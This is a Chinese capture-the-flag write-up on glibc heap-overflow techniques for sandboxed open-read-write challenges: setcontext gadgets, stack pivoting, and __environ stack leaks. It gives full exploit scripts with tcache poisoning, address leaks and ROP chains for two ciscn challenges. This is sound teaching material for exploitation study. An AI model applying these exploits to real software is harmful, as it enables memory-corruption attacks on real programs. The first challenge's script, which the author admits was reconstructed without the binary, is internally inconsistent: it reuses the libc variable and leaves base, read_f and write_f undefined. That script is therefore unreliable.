PWN堆溢出技巧:ORW的解题手法与万金油Gadgets
前言
在做堆题的时候基本上都会结合沙箱去出了,不再是单一的getshell了,感觉出的越来越卷了,本文将介绍一下堆溢出的一些ORW做法
思路
低版本
在 Glibc2.29
以前的 ORW
解题思路已经比较清晰了,主要是劫持 free_hook
或者 malloc_hook
写入 setcontext
函数中的 gadget,通过 rdi
索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains
,查看setcontext函数发现,在修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行截图中最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor eax,eax <setcontext+127>: ret
|
利用方法的话就是利用我们熟悉的free_hook还有__malloc_hook,就像我们平时利用这两个hook写og getshell的时候。我们一般来利用setcontext都是利用free_hook进行调用因为free的参数是堆块,而malloc的参数是数字,这样的话使用free来的更快。
高版本
但在 Glibc 2.29
之后 setcontext
中的gadget变成了以 rdx
索引,因此如果我们按照之前思路的话,还要先通过 ROP
控制 RDX
的值,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| .text:00000000000580DD mov rsp, [rdx+0A0h] .text:00000000000580E4 mov rbx, [rdx+80h] .text:00000000000580EB mov rbp, [rdx+78h] .text:00000000000580EF mov r12, [rdx+48h] .text:00000000000580F3 mov r13, [rdx+50h] .text:00000000000580F7 mov r14, [rdx+58h] .text:00000000000580FB mov r15, [rdx+60h] .text:00000000000580FF test dword ptr fs:48h, 2 .... .text:00000000000581C6 mov rcx, [rdx+0A8h] .text:00000000000581CD push rcx .text:00000000000581CE mov rsi, [rdx+70h] .text:00000000000581D2 mov rdi, [rdx+68h] .text:00000000000581D6 mov rcx, [rdx+98h] .text:00000000000581DD mov r8, [rdx+28h] .text:00000000000581E1 mov r9, [rdx+30h] .text:00000000000581E5 mov rdx, [rdx+88h] .text:00000000000581EC xor eax, eax .text:00000000000581EE retn
|
但如果搜索过相应gadgets的同学应该有感受, 很难找到能够直接控制rdx寄存器的gadgets,这时候就需要常备一些 万金油
gadgets,具体的gadgets在下文结合题目解法一同介绍
解法1 Gadget+setcontext
解法一和上文介绍的思路完全相同
这其中用到的 gadget
是 getkeyserv_handle+576
,其汇编如下
1 2 3
| mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
|
这个 gadget
可以通过 rdi
来控制 rdx
, 非常好用,而且从 Glibc2.29到2.35都可用
控制 rdx
之后,我们就可以通过 setcontext
来控制其他寄存器了
解法2 – gadget+栈迁移
解法1思路很清晰,但又要控制 rdx
又要构造 setcontext
,很麻烦,在这里介绍另一种解法,通过 gadget控制rbp的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的rop链,从而获取flag
先介绍一下万金油的gadget svcudp_reply+26
,汇编如下
1 2 3 4 5 6
| mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
|
这个gadgets主要是通过 rdi
控制 rbp
进而控制 rax
并执行跳转,由于我们已经控制了 rbp
的值,因此只需要在 rax+0x28
的位置部署 leave;ret
即可完成栈迁移
从而在我们已经布置好 orw rop链
的位置伪造栈地址并劫持控制流,最终读取flag
解法3 – 通过environ泄露栈地址,并在栈上构造orw rop链
在解法二当中我们是通过gadgets进行栈迁移,将原本的栈地址劫持到了堆上,但如果 栈地址
已知的话,解题过程会更加简单,而且不需要特意去寻找万金油的gadgets
那么如何泄露栈地址
呢?
其实程序的栈地址会存放在 __environ
中,我们只要输出__environ
的内容就能获取栈地址
在获取到栈地址后,我在main函数的 ret
处下一个断点,发现main函数返回值和我们泄露的栈地址正好相差 0x100

之后的思路就比较清晰了,我们依旧通过 tcache poison
的方式,将堆块申请到main函数返回的位置,布置 orw ropchain,之后通过 退出
功能将程序控制流指向布置好的 ropchain,最后输出flag
例题
低版本
题目:ciscn_2021_silverwolf
环境:ubuntu18.04
glibc版本:Ubuntu GLIBC 2.27-3ubuntu1.3
这里由于我没有这个题的文件,于是只是根据网上的资料看了一下思路
利用思路
利用df泄露heap地址,再利用df将堆块申请到控制head,将其分配至unsortedbin中,然后show泄露libc地址。之后修改tcache的堆指针劫持freehook,还有其他大小堆块布置好相应堆块,利用setcontext进行调用执行orw
leak_heap_libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| add(0x30) delete() edit("a"*0x10) delete() show() heap = u64(ru("\n").ljust(8, b"\x00")) heap_base = heap-0x1920 print("heap base: ", hex(heap_base))
head = heap_base+0x10 add(0x30) edit(p64(head)) add(0x30) add(0x30)
str = p64(0)*4+p64(0x00000000ff000000) edit(str) delete() show() libc = u64(ru("\n").ljust(8, b"\x00")) libc_base = libc-0x70-libc.sym["__malloc_hook"] setcontext = libc_base+libc.sym["setcontext"]+53 free_hook = libc_base+libc.sym["__free_hook"] print("libc base: ", hex(libc_base)) print("setcontext_53: ", hex(setcontext)) print("free_hook: ", hex(free_hook))
|
构造orw
没啥说的,就是构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| flag_addr = heap_base+0x2000
pop_rax_ret = base+0x000000000001ced0 pop_rdi_ret = base+0x000000000002144f pop_rsi_ret = base+0x0000000000021e22 pop_rdx_ret = base+0x0000000000001b96 read = base+libc.sym["read"] write = base+libc.sym["write"] syscall = read_f+0xf
orw = p64(pop_rdi_ret)+p64(flag_addr) orw += p64(pop_rsi_ret)+p64(0) orw += p64(pop_rax_ret)+p64(2) orw += p64(syscall) orw += p64(pop_rdi_ret)+p64(3) orw += p64(pop_rsi_ret)+p64(flag_addr) orw += p64(pop_rdx_ret)+p64(0x30) orw += p64(read_f) orw += p64(pop_rdi_ret)+p64(1) orw += p64(pop_rsi_ret)+p64(flag_addr) orw += p64(pop_rdx_ret)+p64(0x30) orw += p64(write_f)
|
根据setcontext进行构造
tcache_head
在进行布置的时候为了更好的去利用,官方的wp中hijack了tcache_perthread_struct,那么我们就看一下tcache_perthread_struct的结构:
1 2 3 4 5 6
| typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
|
我们看到上面的结构体里面,在counts之后存在tcache链的指针,指向每一个大小的tcache链的下一个堆块的fd。也就是意味着我们只要劫持了这里的指针我们就能实现任意地址分配堆块。这里的布置利用的就是这个结构体中的指针。
布置
在布置的时候我们可以选择一个堆块为参数,就是以这个堆块的地址作为rdi,布置数据要根据此参数作为索引。
首先我们要先把堆块分配到tcache_entry的位置
1 2 3 4 5 6 7
| add(0x48) edit(p64(0)*9) for i in range(5): add(0x10) add(0x18) edit(p64(heap_base+0x50)) add(0x38)
|
剩下的就是对tcache_entry中的指针进行布置了
1 2 3 4 5 6 7 8 9
| orw_addr = heap_base+0x1000
payload = p64(free_hook) payload += p64(heap_base+0x2000) payload += p64(heap_base+0x20A0) payload += p64(heap_base+0x2000) payload += p64(orw_addr+0x60) + p64(orw_addr) payload += p64(0) edit(payload)
|
下面就是着手要实施了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| add(0x10) edit(p64(setcontext))
add(0x20) edit("./flag\x00")
add(0x30) pl = p64(orw_addr) + p64(pop_rdi_ret+1) edit(pl)
add(0x60) edit(orw[:0x60]) add(0x50) edit(orw[0x60:])
delete()
|
高版本
题目:ciscn_2024_ezheap
环境:ubuntu22.04
glibc版本:Ubuntu GLIBC 2.35-0ubuntu3.7
利用思路-解法3
这里只能用解法3,因为libc版本为2.35,那两个万能gadget都不能用
题目存在edit的堆溢出,于是利用edit的堆溢出去进行泄露libc地址,由于malloc时候清除了chunk的数据,于是只能通过溢出去泄露libc地址,其实程序的栈地址会存放在 __environ
中,我们只要输出__environ
的内容就能获取栈地址,然后利用 tcache poison
去泄露栈的地址。最后还是利用 tcache poison
去往栈上写ORW的ROP链
leak_heap_libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| add(0x200,"A"*0x20) add(0x500,"A"*0x20) add(0x200,"A"*0x20) add(0x200,"A"*0x20) add(0x200,"A"*0x20) add(0x200,"A"*0x20) delte(1) edit(0,0x300,"B"*(0x210)) show(0) libc_base = u64(io.recvuntil("We",drop=True)[-6:].ljust(8, b"\x00"))-0x21ACE0 mprotect_addr = libc.sym['mprotect']+libc_base open_addr = libc_base+libc.sym['open'] read_addr = libc_base+libc.sym['read'] puts_addr = libc_base+libc.sym['puts'] free_hook = libc_base +libc.sym['__free_hook'] setcontext = libc_base + libc.sym['setcontext'] + 61 IO_2_1_stdout = libc_base+libc.symbols['_IO_2_1_stdout_']
li("libc_base ------------------> 0x%x"%libc_base) edit(0,0x300,b"A"*(0x208)+p64(0x511)) add(0x500,"BBB")
delte(5) edit(4,0x300,"C"*(0x210)) show(4) ru(b"C"*(0x210)) heap_base = (u64(io.recv(5).ljust(8,b'\x00')) << 12)-0x3000 li("heap_base ------------------> 0x%x"%heap_base) edit(4,0x300,b"A"*(0x208)+p64(0x211))
|
泄露stack地址
1 2 3 4 5 6 7 8 9 10 11 12 13
| add(0x50,"D"*0x20) target_addr = libc_base+libc.symbols['_environ'] li("target_addr ------------------> 0x%x"%target_addr) edit(6,0x500,b'a'*0x50+p64(0)+p64(0x31)+p64((target_addr-0x20) ^ ((heap_base) >> 12)))
add(0x20,"a") add(0x20,"a"*0x20) show(8) ru("a"*0x20) stack_addr = uu64() li("stack_addr = "+hex(stack_addr))
|
构造ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| db() delte(0) delte(4) payload = b'a'*0x200+p64(0)+p64(0x211)+p64((stack_addr - 0x178) ^ ((heap_base+0x2000) >> 12)) edit(3,0x500,payload) add(0x200,"a")
pop_rdi_ret = libc_base+0x000000000002a3e5 pop_rsi_ret = 0x000000000002be51+libc_base
pop_rdx_ret = 0x0000000000170337+libc_base pop_rax_ret = 0x0000000000045eb0+libc_base syscall_ret = libc_base+0x0000000000091316 flag_addr = stack_addr - 0x178
payload = b'./flag\x00'.ljust(8,b'\x00')+p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall_ret) payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(0)+p64(syscall_ret) payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(1)+p64(syscall_ret)
add(0x200,payload)
|